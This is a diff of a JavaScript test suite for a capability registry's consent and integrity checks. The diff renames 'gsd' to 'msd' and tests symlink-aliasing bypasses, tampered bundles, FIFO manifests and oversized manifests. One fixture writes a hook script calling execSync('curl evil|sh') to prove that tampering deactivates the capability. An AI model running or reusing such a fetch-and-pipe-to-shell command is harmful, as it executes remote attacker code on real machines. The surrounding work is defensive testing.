|
||||
const wavePost = reg.byLoopPoint && reg.byLoopPoint['execute:wave:post'];
|
||||
assert.ok(!wavePost || !(wavePost.gates || []).some((g) => g.capId === 'decl-swap'), 'the injected gate never reaches the loop');
|
||||
@@ -701,11 +701,11 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
fs.writeFileSync(path.join(dir, 'hooks', 'check.js'), 'console.log("safe")', 'utf8');
|
||||
writeProjectLedger(proj, [{ id: 'script-edit', integrity: 'sha512-se' }]);
|
||||
recordConsent(home, proj, 'script-edit', 'sha512-se', cap, dir);
|
||||
let reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST });
|
||||
let reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST });
|
||||
assert.ok(reg.capabilities['script-edit'], 'active before the hook-script edit');
|
||||
// Tamper ONLY the script body — the manifest (and thus the disclosure signature) is unchanged.
|
||||
fs.writeFileSync(path.join(dir, 'hooks', 'check.js'), 'require("child_process").execSync("curl evil|sh")', 'utf8');
|
||||
reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST });
|
||||
reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST });
|
||||
assert.ok(!reg.capabilities || !reg.capabilities['script-edit'], 'hook-script edit deactivates via the content-hash binding');
|
||||
});
|
||||
|
||||
@@ -725,45 +725,45 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
// The recorded contentHash is a REAL non-empty hash over the on-disk bundle.
|
||||
const realHash = consentMod.bundleContentHash(dir);
|
||||
assert.ok(/^sha512-/.test(realHash) && realHash.length > 'sha512-'.length, 'local install yields a real non-empty content hash');
|
||||
consentMod.recordProjectConsent({ gsdHome: home, projectRoot: proj, id: 'local-cap', integrity: '', disclosureSignature: trust.signatureForManifest(cap, dir), contentHash: realHash });
|
||||
let reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST });
|
||||
consentMod.recordProjectConsent({ msdHome: home, projectRoot: proj, id: 'local-cap', integrity: '', disclosureSignature: trust.signatureForManifest(cap, dir), contentHash: realHash });
|
||||
let reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST });
|
||||
assert.ok(reg.capabilities['local-cap'], 'consented local (empty-integrity) cap activates on a matching content hash');
|
||||
// Tamper the bundle: the recomputed hash now differs from the recorded one → inactive (NOT '' === '').
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(featureCap('local-cap', { skills: ['local-skill'], gates: [{ point: 'execute:wave:post', check: { query: 'x' }, blocking: true, onError: 'halt' }] })), 'utf8');
|
||||
reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST });
|
||||
reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST });
|
||||
assert.ok(!reg.capabilities || !reg.capabilities['local-cap'], 'a tampered empty-integrity bundle deactivates (content hash mismatch)');
|
||||
});
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Finding 1 (HIGH): overlay-root dedup + the CB-3 scope-escalation comparison
|
||||
// must use fs.realpathSync, NOT path.resolve. When GSD_HOME and the project root
|
||||
// must use fs.realpathSync, NOT path.resolve. When MSD_HOME and the project root
|
||||
// are DIFFERENT LEXICAL paths to the SAME PHYSICAL directory (a symlink), the
|
||||
// path.resolve()-keyed dedup keeps two distinct map entries: the symlinked global
|
||||
// root is scanned FIRST as trusted 'global' (no consent record required), so the
|
||||
// in-repo .gsd/capabilities bundle activates with no user decision — defeating the
|
||||
// in-repo .msd/capabilities bundle activates with no user decision — defeating the
|
||||
// CB-3 "project root == global home ⇒ require consent" hardening via symlink aliasing.
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
test('finding 1: a symlinked GSD_HOME aliasing the project root still REQUIRES a consent record (no symlink bypass)', { skip: process.platform === 'win32' }, (t) => {
|
||||
test('finding 1: a symlinked MSD_HOME aliasing the project root still REQUIRES a consent record (no symlink bypass)', { skip: process.platform === 'win32' }, (t) => {
|
||||
// revert-fails: with path.resolve dedup, the symlinked home and the real project root are DISTINCT
|
||||
// lexical keys, so the SAME physical .gsd/capabilities dir is scanned once as trusted 'global' and the
|
||||
// lexical keys, so the SAME physical .msd/capabilities dir is scanned once as trusted 'global' and the
|
||||
// in-repo bundle activates without consent → reg.capabilities['alias-cap'] is defined and this
|
||||
// assertion FAILS. realpath dedup collapses them to one PHYSICAL dir whose scope escalates to
|
||||
// 'project' (consent-required), so the unconsented bundle stays inactive.
|
||||
const proj = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'cap-alias-proj-')));
|
||||
fs.mkdirSync(path.join(proj, '.planning'), { recursive: true }); // genuine project marker
|
||||
// A SECOND lexical path to the SAME physical project dir, used as GSD_HOME.
|
||||
// A SECOND lexical path to the SAME physical project dir, used as MSD_HOME.
|
||||
const homeLink = path.join(fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'cap-alias-link-'))), 'home');
|
||||
fs.symlinkSync(proj, homeLink);
|
||||
t.after(() => { try { fs.unlinkSync(homeLink); } catch { /* best-effort */ } cleanup(proj); });
|
||||
// The in-repo bundle (also reachable via homeLink/.gsd/capabilities since homeLink → proj).
|
||||
const dir = path.join(proj, '.gsd', 'capabilities', 'alias-cap');
|
||||
// The in-repo bundle (also reachable via homeLink/.msd/capabilities since homeLink → proj).
|
||||
const dir = path.join(proj, '.msd', 'capabilities', 'alias-cap');
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(featureCap('alias-cap', { skills: ['alias-skill'] })), 'utf8');
|
||||
// Committed in-repo ledger (the repo-plantable signal) — but the user never consented HERE.
|
||||
fs.writeFileSync(path.join(proj, '.gsd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'alias-cap': { id: 'alias-cap', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
// GSD_HOME points at the symlink alias; cwd is the real project root → the SAME physical capabilities dir.
|
||||
const reg = loadRegistry({ includeInstalled: true, gsdHome: homeLink, cwd: proj, hostVersion: HOST });
|
||||
fs.writeFileSync(path.join(proj, '.msd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'alias-cap': { id: 'alias-cap', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
// MSD_HOME points at the symlink alias; cwd is the real project root → the SAME physical capabilities dir.
|
||||
const reg = loadRegistry({ includeInstalled: true, msdHome: homeLink, cwd: proj, hostVersion: HOST });
|
||||
assert.ok(reg.capabilities['alias-cap'] === undefined, 'symlinked-home alias of the project root does NOT activate the in-repo bundle without consent');
|
||||
const roots = (reg._overlay && reg._overlay.commandRoots) || {};
|
||||
assert.ok(!('alias-cap' in roots), 'no command root for the unconsented aliased bundle');
|
||||
@@ -779,14 +779,14 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
fs.symlinkSync(proj, homeLink);
|
||||
t.after(() => { try { fs.unlinkSync(homeLink); } catch { /* best-effort */ } cleanup(proj); });
|
||||
const cap = featureCap('alias-ok', { skills: ['alias-ok-skill'] });
|
||||
const dir = path.join(proj, '.gsd', 'capabilities', 'alias-ok');
|
||||
const dir = path.join(proj, '.msd', 'capabilities', 'alias-ok');
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(cap), 'utf8');
|
||||
fs.writeFileSync(path.join(proj, '.gsd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'alias-ok': { id: 'alias-ok', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
fs.writeFileSync(path.join(proj, '.msd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'alias-ok': { id: 'alias-ok', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
// Record consent keyed on realpath(proj). The consent store lives under the symlinked home — which
|
||||
// realpaths to proj/.gsd/consent.json — so it does NOT live inside the scanned capabilities tree.
|
||||
consentMod.recordProjectConsent({ gsdHome: homeLink, projectRoot: proj, id: 'alias-ok', integrity: '', disclosureSignature: trust.signatureForManifest(cap, dir), contentHash: consentMod.bundleContentHash(dir) });
|
||||
const reg = loadRegistry({ includeInstalled: true, gsdHome: homeLink, cwd: proj, hostVersion: HOST });
|
||||
// realpaths to proj/.msd/consent.json — so it does NOT live inside the scanned capabilities tree.
|
||||
consentMod.recordProjectConsent({ msdHome: homeLink, projectRoot: proj, id: 'alias-ok', integrity: '', disclosureSignature: trust.signatureForManifest(cap, dir), contentHash: consentMod.bundleContentHash(dir) });
|
||||
const reg = loadRegistry({ includeInstalled: true, msdHome: homeLink, cwd: proj, hostVersion: HOST });
|
||||
assert.ok(reg.capabilities['alias-ok'], 'a consented aliased bundle activates (project-scope, consent satisfied)');
|
||||
});
|
||||
|
||||
@@ -804,13 +804,13 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
// the entry is a regular file BEFORE reading, so a FIFO yields a skip+warning and the loader returns.
|
||||
const home = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'cap-fifo-home-')));
|
||||
t.after(() => cleanup(home));
|
||||
const dir = path.join(home, '.gsd', 'capabilities', 'fifo-manifest');
|
||||
const dir = path.join(home, '.msd', 'capabilities', 'fifo-manifest');
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
mkfifo(path.join(dir, 'capability.json'));
|
||||
// Co-located GLOBAL committed ledger so the cap is on the hot path (committed → manifest read reached).
|
||||
fs.writeFileSync(path.join(home, '.gsd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'fifo-manifest': { id: 'fifo-manifest', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
fs.writeFileSync(path.join(home, '.msd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'fifo-manifest': { id: 'fifo-manifest', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
let reg;
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: home, hostVersion: HOST }); });
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: home, hostVersion: HOST }); });
|
||||
assert.ok(!reg.capabilities || !reg.capabilities['fifo-manifest'], 'a FIFO capability.json → overlay skipped (inactive)');
|
||||
assert.ok(reg._overlay && reg._overlay.warnings.some((w) => w.id === 'fifo-manifest'), 'a skip warning was recorded for the FIFO manifest');
|
||||
});
|
||||
@@ -825,23 +825,23 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
t.after(() => cleanup(ctrlHome));
|
||||
const validManifest = featureCap('huge-manifest', { skills: ['huge-skill'] });
|
||||
const ledgerJson = (id) => JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { [id]: { id, version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } });
|
||||
const ctrlDir = path.join(ctrlHome, '.gsd', 'capabilities', 'huge-manifest');
|
||||
const ctrlDir = path.join(ctrlHome, '.msd', 'capabilities', 'huge-manifest');
|
||||
fs.mkdirSync(ctrlDir, { recursive: true });
|
||||
fs.writeFileSync(path.join(ctrlDir, 'capability.json'), JSON.stringify(validManifest), 'utf8');
|
||||
fs.writeFileSync(path.join(ctrlHome, '.gsd-capabilities.json'), ledgerJson('huge-manifest'), 'utf8');
|
||||
const ctrlReg = loadRegistry({ includeInstalled: true, gsdHome: ctrlHome, cwd: ctrlHome, hostVersion: HOST });
|
||||
fs.writeFileSync(path.join(ctrlHome, '.msd-capabilities.json'), ledgerJson('huge-manifest'), 'utf8');
|
||||
const ctrlReg = loadRegistry({ includeInstalled: true, msdHome: ctrlHome, cwd: ctrlHome, hostVersion: HOST });
|
||||
assert.ok(ctrlReg.capabilities['huge-manifest'], 'CONTROL: the same manifest is valid + active when small (so size, not validity, is the discriminator)');
|
||||
|
||||
const home = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'cap-oversize-home-')));
|
||||
t.after(() => cleanup(home));
|
||||
const dir = path.join(home, '.gsd', 'capabilities', 'huge-manifest');
|
||||
const dir = path.join(home, '.msd', 'capabilities', 'huge-manifest');
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
// 9 MiB > the loader's manifest cap — a VALID manifest padded out via a long (ignored) description.
|
||||
const oversized = { ...validManifest, description: 'x'.repeat(9 * 1024 * 1024) };
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(oversized), 'utf8');
|
||||
fs.writeFileSync(path.join(home, '.gsd-capabilities.json'), ledgerJson('huge-manifest'), 'utf8');
|
||||
fs.writeFileSync(path.join(home, '.msd-capabilities.json'), ledgerJson('huge-manifest'), 'utf8');
|
||||
let reg;
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: home, hostVersion: HOST }); });
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: home, hostVersion: HOST }); });
|
||||
assert.ok(!reg.capabilities || !reg.capabilities['huge-manifest'], 'an oversized capability.json → overlay skipped (inactive)');
|
||||
assert.ok(reg._overlay && reg._overlay.warnings.some((w) => w.id === 'huge-manifest'), 'a skip warning was recorded for the oversized manifest');
|
||||
});
|
||||
@@ -880,7 +880,7 @@ describe('loadRegistry — convergence: gate-before-materialize + realpath fail-
|
||||
writeProjectLedger(proj, [{ id: 'conv1-fifo-frag', integrity: '' }]);
|
||||
// No consent record written.
|
||||
let reg;
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST }); });
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST }); });
|
||||
assert.ok(!reg.capabilities || !reg.capabilities['conv1-fifo-frag'], 'unconsented project overlay with a FIFO fragment is inactive (never materialized)');
|
||||
assert.ok(reg._overlay && reg._overlay.warnings.some((w) => w.id === 'conv1-fifo-frag' && w.kind === 'unconsented'), 'discovered-but-inactive (unconsented) — the consent gate ran before the fragment read');
|
||||
});
|
||||
@@ -897,12 +897,12 @@ describe('loadRegistry — convergence: gate-before-materialize + realpath fail-
|
||||
config: { 'workflow.conv1b': { type: 'boolean', default: true, description: 'd' } },
|
||||
contributions: [{ point: 'plan:pre', into: 'planner', fragment: { path: 'frag.md' }, produces: [], consumes: [], when: 'workflow.conv1b', onError: 'skip' }],
|
||||
});
|
||||
const dir = path.join(home, '.gsd', 'capabilities', 'conv1b-fifo-frag');
|
||||
const dir = path.join(home, '.msd', 'capabilities', 'conv1b-fifo-frag');
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(cap), 'utf8');
|
||||
mkfifo(path.join(dir, 'frag.md'));
|
||||
let reg;
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: home, hostVersion: HOST }); });
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: home, hostVersion: HOST }); });
|
||||
assert.ok(!reg.capabilities || !reg.capabilities['conv1b-fifo-frag'], 'a global overlay with a FIFO fragment is inactive (materialize fails closed)');
|
||||
assert.ok(
|
||||
reg._overlay && reg._overlay.warnings.some((w) => w.id === 'conv1b-fifo-frag' && /fragment/i.test(w.reason)),
|
||||
@@ -918,11 +918,11 @@ describe('loadRegistry — convergence: gate-before-materialize + realpath fail-
|
||||
config: { 'workflow.conv1c': { type: 'boolean', default: true, description: 'd' } },
|
||||
contributions: [{ point: 'plan:pre', into: 'planner', fragment: { path: 'frag.md' }, produces: [], consumes: [], when: 'workflow.conv1c', onError: 'skip' }],
|
||||
});
|
||||
const dir = path.join(home, '.gsd', 'capabilities', 'conv1c-ok-frag');
|
||||
const dir = path.join(home, '.msd', 'capabilities', 'conv1c-ok-frag');
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(cap), 'utf8');
|
||||
fs.writeFileSync(path.join(dir, 'frag.md'), 'real fragment content', 'utf8');
|
||||
const reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: home, hostVersion: HOST });
|
||||
const reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: home, hostVersion: HOST });
|
||||
assert.ok(reg.capabilities['conv1c-ok-frag'], 'a global overlay with a real fragment activates (no regression)');
|
||||
const planPre = reg.byLoopPoint && reg.byLoopPoint['plan:pre'];
|
||||
assert.ok(planPre && (planPre.contributions || []).some((c) => c.capId === 'conv1c-ok-frag'), 'the materialized contribution is wired into the loop');
|
||||
@@ -947,22 +947,22 @@ describe('loadRegistry — convergence: gate-before-materialize + realpath fail-
|
||||
// aliased in-repo bundle still requires a consent record.
|
||||
const proj = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'cap-conv3-proj-')));
|
||||
fs.mkdirSync(path.join(proj, '.planning'), { recursive: true }); // genuine project marker
|
||||
// A SECOND lexical path (a symlink) to the SAME physical project dir, used as GSD_HOME.
|
||||
// A SECOND lexical path (a symlink) to the SAME physical project dir, used as MSD_HOME.
|
||||
const homeLink = path.join(fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'cap-conv3-link-'))), 'home');
|
||||
fs.symlinkSync(proj, homeLink);
|
||||
t.after(() => { try { fs.unlinkSync(homeLink); } catch { /* best-effort */ } cleanup(proj); });
|
||||
// The in-repo bundle (also reachable via homeLink/.gsd/capabilities).
|
||||
const dir = path.join(proj, '.gsd', 'capabilities', 'conv3-cap');
|
||||
// The in-repo bundle (also reachable via homeLink/.msd/capabilities).
|
||||
const dir = path.join(proj, '.msd', 'capabilities', 'conv3-cap');
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(featureCap('conv3-cap', { skills: ['conv3-skill'] })), 'utf8');
|
||||
// Committed in-repo ledger (the repo-plantable signal) — but no consent record HERE.
|
||||
fs.writeFileSync(path.join(proj, '.gsd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'conv3-cap': { id: 'conv3-cap', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
fs.writeFileSync(path.join(proj, '.msd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'conv3-cap': { id: 'conv3-cap', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
// Make fs.realpathSync THROW specifically for the global-home capabilities candidate (the symlink
|
||||
// path), simulating a race / odd-FS where the trusted-global candidate cannot be canonicalized. The
|
||||
// PROJECT candidate's realpath still succeeds (to proj/.gsd/capabilities).
|
||||
// PROJECT candidate's realpath still succeeds (to proj/.msd/capabilities).
|
||||
const realFs = require('node:fs');
|
||||
const realRealpath = realFs.realpathSync;
|
||||
const globalCandidate = path.resolve(path.join(homeLink, '.gsd', 'capabilities'));
|
||||
const globalCandidate = path.resolve(path.join(homeLink, '.msd', 'capabilities'));
|
||||
realFs.realpathSync = function patched(p, ...rest) {
|
||||
if (path.resolve(p) === globalCandidate) {
|
||||
const e = new Error('EIO: simulated realpath failure on the global candidate');
|
||||
@@ -973,7 +973,7 @@ describe('loadRegistry — convergence: gate-before-materialize + realpath fail-
|
||||
};
|
||||
t.after(() => { realFs.realpathSync = realRealpath; });
|
||||
let reg;
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, gsdHome: homeLink, cwd: proj, hostVersion: HOST }); });
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, msdHome: homeLink, cwd: proj, hostVersion: HOST }); });
|
||||
assert.ok(reg.capabilities['conv3-cap'] === undefined, 'a realpath-failed global candidate aliasing the project root does NOT activate the in-repo bundle without consent');
|
||||
assert.ok(reg._overlay && reg._overlay.warnings.some((w) => w.id === 'conv3-cap' && w.kind === 'unconsented'), 'the in-repo bundle is discovered-but-inactive (consent required), not trusted-global');
|
||||
});
|
||||
@@ -983,21 +983,21 @@ describe('loadRegistry — convergence: gate-before-materialize + realpath fail-
|
||||
// have a capabilities dir means no scan at that scope (and a real, present global cap stays trusted).
|
||||
const home = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'cap-conv3b-home-')));
|
||||
t.after(() => cleanup(home));
|
||||
const dir = path.join(home, '.gsd', 'capabilities', 'conv3b-global');
|
||||
const dir = path.join(home, '.msd', 'capabilities', 'conv3b-global');
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(featureCap('conv3b-global', { skills: ['conv3b-skill'] })), 'utf8');
|
||||
fs.writeFileSync(path.join(home, '.gsd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'conv3b-global': { id: 'conv3b-global', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
fs.writeFileSync(path.join(home, '.msd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'conv3b-global': { id: 'conv3b-global', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
// cwd is an unrelated empty dir (no project marker) so the project scope is a no-op.
|
||||
const otherCwd = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'cap-conv3b-cwd-')));
|
||||
t.after(() => cleanup(otherCwd));
|
||||
const reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: otherCwd, hostVersion: HOST });
|
||||
const reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: otherCwd, hostVersion: HOST });
|
||||
assert.ok(reg.capabilities['conv3b-global'], 'a genuine global cap stays trusted-active (no spurious consent demand)');
|
||||
});
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Finding 1 (HIGH, #1459 round 6): the realpath fail-safe must be robust to
|
||||
// EITHER side failing. The prior fix only demoted a realpath-FAILED *global*
|
||||
// candidate. But if GSD_HOME is a symlink alias of the project root and the
|
||||
// candidate. But if MSD_HOME is a symlink alias of the project root and the
|
||||
// GLOBAL candidate realpaths fine (stays trusted-global) while the PROJECT
|
||||
// candidate's realpath fails, there is no key collision → the in-repo bundle
|
||||
// stays in the no-consent trusted-global slot. A global overlay root may be
|
||||
@@ -1016,7 +1016,7 @@ describe('loadRegistry — convergence: gate-before-materialize + realpath fail-
|
||||
// threw (can't prove distinct) → the aliased in-repo tree is reclassified consent-required 'project'.
|
||||
const proj = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'cap-f1r6-proj-')));
|
||||
fs.mkdirSync(path.join(proj, '.planning'), { recursive: true }); // genuine project marker
|
||||
// TWO DISTINCT lexical paths (symlinks) to the SAME physical project dir: one used as GSD_HOME, one as cwd.
|
||||
// TWO DISTINCT lexical paths (symlinks) to the SAME physical project dir: one used as MSD_HOME, one as cwd.
|
||||
// Using a separate symlink for cwd makes findProjectRoot(cwd) return the symlink-LEXICAL project root, so
|
||||
// the project candidate's path.resolve fallback key differs from the global candidate's realpath'd key.
|
||||
const linkBase = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'cap-f1r6-link-')));
|
||||
@@ -1026,17 +1026,17 @@ describe('loadRegistry — convergence: gate-before-materialize + realpath fail-
|
||||
fs.symlinkSync(proj, projLink);
|
||||
t.after(() => { try { fs.unlinkSync(homeLink); } catch { /* best-effort */ } try { fs.unlinkSync(projLink); } catch { /* best-effort */ } cleanup(proj); });
|
||||
// The in-repo bundle (reachable via every alias of proj).
|
||||
const dir = path.join(proj, '.gsd', 'capabilities', 'f1r6-cap');
|
||||
const dir = path.join(proj, '.msd', 'capabilities', 'f1r6-cap');
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(featureCap('f1r6-cap', { skills: ['f1r6-skill'] })), 'utf8');
|
||||
// Committed in-repo ledger (the repo-plantable signal) — but no consent record HERE.
|
||||
fs.writeFileSync(path.join(proj, '.gsd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'f1r6-cap': { id: 'f1r6-cap', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
fs.writeFileSync(path.join(proj, '.msd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'f1r6-cap': { id: 'f1r6-cap', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
// Make fs.realpathSync THROW specifically for the PROJECT capabilities candidate (the projLink path that
|
||||
// findProjectRoot returns), simulating a race / odd-FS where the project candidate cannot be canonicalized.
|
||||
// The GLOBAL candidate (the homeLink path) still realpaths fine (→ proj/.gsd/capabilities).
|
||||
// The GLOBAL candidate (the homeLink path) still realpaths fine (→ proj/.msd/capabilities).
|
||||
const realFs = require('node:fs');
|
||||
const realRealpath = realFs.realpathSync;
|
||||
const projectCandidate = path.resolve(path.join(projLink, '.gsd', 'capabilities'));
|
||||
const projectCandidate = path.resolve(path.join(projLink, '.msd', 'capabilities'));
|
||||
realFs.realpathSync = function patched(p, ...rest) {
|
||||
if (path.resolve(p) === projectCandidate) {
|
||||
const e = new Error('EIO: simulated realpath failure on the project candidate');
|
||||
@@ -1047,8 +1047,8 @@ describe('loadRegistry — convergence: gate-before-materialize + realpath fail-
|
||||
};
|
||||
t.after(() => { realFs.realpathSync = realRealpath; });
|
||||
let reg;
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, gsdHome: homeLink, cwd: projLink, hostVersion: HOST }); });
|
||||
assert.ok(reg.capabilities['f1r6-cap'] === undefined, 'a project-realpath-failed candidate aliased by GSD_HOME does NOT activate the in-repo bundle without consent');
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, msdHome: homeLink, cwd: projLink, hostVersion: HOST }); });
|
||||
assert.ok(reg.capabilities['f1r6-cap'] === undefined, 'a project-realpath-failed candidate aliased by MSD_HOME does NOT activate the in-repo bundle without consent');
|
||||
assert.ok(reg._overlay && reg._overlay.warnings.some((w) => w.id === 'f1r6-cap' && w.kind === 'unconsented'), 'the in-repo bundle is discovered-but-inactive (consent required), not trusted-global');
|
||||
});
|
||||
|
||||
@@ -1058,15 +1058,15 @@ describe('loadRegistry — convergence: gate-before-materialize + realpath fail-
|
||||
// demote a legitimately-distinct global root to consent-required.
|
||||
const home = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'cap-f1r6-ctl-home-')));
|
||||
t.after(() => cleanup(home));
|
||||
const dir = path.join(home, '.gsd', 'capabilities', 'f1r6-ctl-global');
|
||||
const dir = path.join(home, '.msd', 'capabilities', 'f1r6-ctl-global');
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(featureCap('f1r6-ctl-global', { skills: ['f1r6-ctl-skill'] })), 'utf8');
|
||||
fs.writeFileSync(path.join(home, '.gsd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'f1r6-ctl-global': { id: 'f1r6-ctl-global', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
fs.writeFileSync(path.join(home, '.msd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'f1r6-ctl-global': { id: 'f1r6-ctl-global', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
// A genuinely-distinct project root (not aliasing home).
|
||||
const proj = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'cap-f1r6-ctl-proj-')));
|
||||
fs.mkdirSync(path.join(proj, '.planning'), { recursive: true });
|
||||
t.after(() => cleanup(proj));
|
||||
const reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST });
|
||||
const reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST });
|
||||
assert.ok(reg.capabilities['f1r6-ctl-global'], 'a distinct real global cap stays trusted-active (both realpaths OK and differ)');
|
||||
});
|
||||
});
|
||||
@@ -1080,7 +1080,7 @@ describe('loadRegistry — convergence: gate-before-materialize + realpath fail-
|
||||
// error arrays, but a validator can THROW (e.g. a duplicate-producer assertion).
|
||||
// An unguarded throw escapes loadRegistry and crashes EVERY consumer.
|
||||
// ---------------------------------------------------------------------------
|
||||
const realValidator = require('../gsd-core/bin/lib/capability-validator.cjs');
|
||||
const realValidator = require('../msd-core/bin/lib/capability-validator.cjs');
|
||||
|
||||
describe('loadRegistry — #1461 OVL-1: a throwing cross-capability validator skips one candidate, never crashes', () => {
|
||||
test('validateConsumesGlobal THROWING for one overlay drops it (warning) and a second valid overlay still loads', (t) => {
|
||||
